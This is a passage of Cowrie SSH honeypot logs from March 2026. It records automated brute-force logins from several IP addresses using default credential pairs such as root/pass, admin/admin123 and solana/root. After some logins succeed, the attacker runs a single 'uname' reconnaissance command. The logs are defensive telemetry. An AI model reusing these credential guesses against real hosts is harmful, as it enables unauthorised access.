16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:35:44.239660Z","src_ip":"195.178.110.218","session":"260ce70624d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:35:44.478597Z","src_ip":"195.178.110.218","session":"260ce70624d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:35:45.560946Z","src_ip":"195.178.110.218","session":"260ce70624d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e1c76eae9dd","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: 8e1c76eae9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:35:55.127156Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:35:55.242858Z","src_ip":"77.90.185.16","session":"8e1c76eae9dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":45168,"dst_ip":"10.17.0.5","dst_port":22,"session":"693e945deec6","protocol":"ssh","message":"New connection: 92.118.39.92:45168 (10.17.0.5:22) [session: 693e945deec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:17.532168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:17.536755Z","src_ip":"92.118.39.92","session":"693e945deec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:17.641169Z","src_ip":"92.118.39.92","session":"693e945deec6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"pass","message":"login attempt [root/pass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:17.956072Z","src_ip":"92.118.39.92","session":"693e945deec6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:18.239213Z","src_ip":"92.118.39.92","session":"693e945deec6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:18.246797Z","src_ip":"92.118.39.92","session":"693e945deec6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:18.368512Z","src_ip":"92.118.39.92","session":"693e945deec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:18.378127Z","src_ip":"92.118.39.92","session":"693e945deec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":40452,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb5435462893","protocol":"ssh","message":"New connection: 193.32.162.151:40452 (159.203.135.109:22) [session: bb5435462893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:20.983586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:20.988493Z","src_ip":"193.32.162.151","session":"bb5435462893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:21.083511Z","src_ip":"193.32.162.151","session":"bb5435462893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:21.434254Z","src_ip":"193.32.162.151","session":"bb5435462893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:36:22.543675Z","src_ip":"193.32.162.151","session":"bb5435462893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59582,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b7da15fa87a","protocol":"ssh","message":"New connection: 195.178.110.218:59582 (159.203.135.109:22) [session: 9b7da15fa87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:30.697266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:30.702063Z","src_ip":"195.178.110.218","session":"9b7da15fa87a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:30.782298Z","src_ip":"195.178.110.218","session":"9b7da15fa87a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:31.025567Z","src_ip":"195.178.110.218","session":"9b7da15fa87a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:32.108149Z","src_ip":"195.178.110.218","session":"9b7da15fa87a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":56320,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1a52c4bd40d","protocol":"ssh","message":"New connection: 193.32.162.151:56320 (159.203.135.109:22) [session: c1a52c4bd40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:34.707308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:34.711970Z","src_ip":"193.32.162.151","session":"c1a52c4bd40d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:34.817175Z","src_ip":"193.32.162.151","session":"c1a52c4bd40d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin123","message":"login attempt [admin/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:35.153553Z","src_ip":"193.32.162.151","session":"c1a52c4bd40d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:36.262686Z","src_ip":"193.32.162.151","session":"c1a52c4bd40d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":33592,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d1f6e400407","protocol":"ssh","message":"New connection: 92.118.39.92:33592 (10.17.0.5:22) [session: 3d1f6e400407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:39.589184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:39.593784Z","src_ip":"92.118.39.92","session":"3d1f6e400407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:39.689348Z","src_ip":"92.118.39.92","session":"3d1f6e400407","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"pass123","message":"login attempt [root/pass123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:39.974597Z","src_ip":"92.118.39.92","session":"3d1f6e400407","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:40.315304Z","src_ip":"92.118.39.92","session":"3d1f6e400407","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:40.318899Z","src_ip":"92.118.39.92","session":"3d1f6e400407","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:40.417798Z","src_ip":"92.118.39.92","session":"3d1f6e400407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:38:40.422254Z","src_ip":"92.118.39.92","session":"3d1f6e400407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":54928,"dst_ip":"159.203.135.109","dst_port":22,"session":"be21d6ac70fa","protocol":"ssh","message":"New connection: 92.118.39.76:54928 (159.203.135.109:22) [session: be21d6ac70fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:40:06.133323Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:40:06.234756Z","src_ip":"92.118.39.76","session":"be21d6ac70fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":43904,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f3c01998edb","protocol":"ssh","message":"New connection: 193.32.162.151:43904 (159.203.135.109:22) [session: 2f3c01998edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:40:45.146061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:40:45.202079Z","src_ip":"193.32.162.151","session":"2f3c01998edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:40:45.305199Z","src_ip":"193.32.162.151","session":"2f3c01998edb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:40:45.771749Z","src_ip":"193.32.162.151","session":"2f3c01998edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:40:46.986037Z","src_ip":"193.32.162.151","session":"2f3c01998edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":50240,"dst_ip":"10.17.0.5","dst_port":22,"session":"9447b1e350a6","protocol":"ssh","message":"New connection: 92.118.39.92:50240 (10.17.0.5:22) [session: 9447b1e350a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:40:59.063596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:40:59.068467Z","src_ip":"92.118.39.92","session":"9447b1e350a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:40:59.169788Z","src_ip":"92.118.39.92","session":"9447b1e350a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:40:59.476502Z","src_ip":"92.118.39.92","session":"9447b1e350a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:41:00.580986Z","src_ip":"92.118.39.92","session":"9447b1e350a6","protocol":"ssh"}
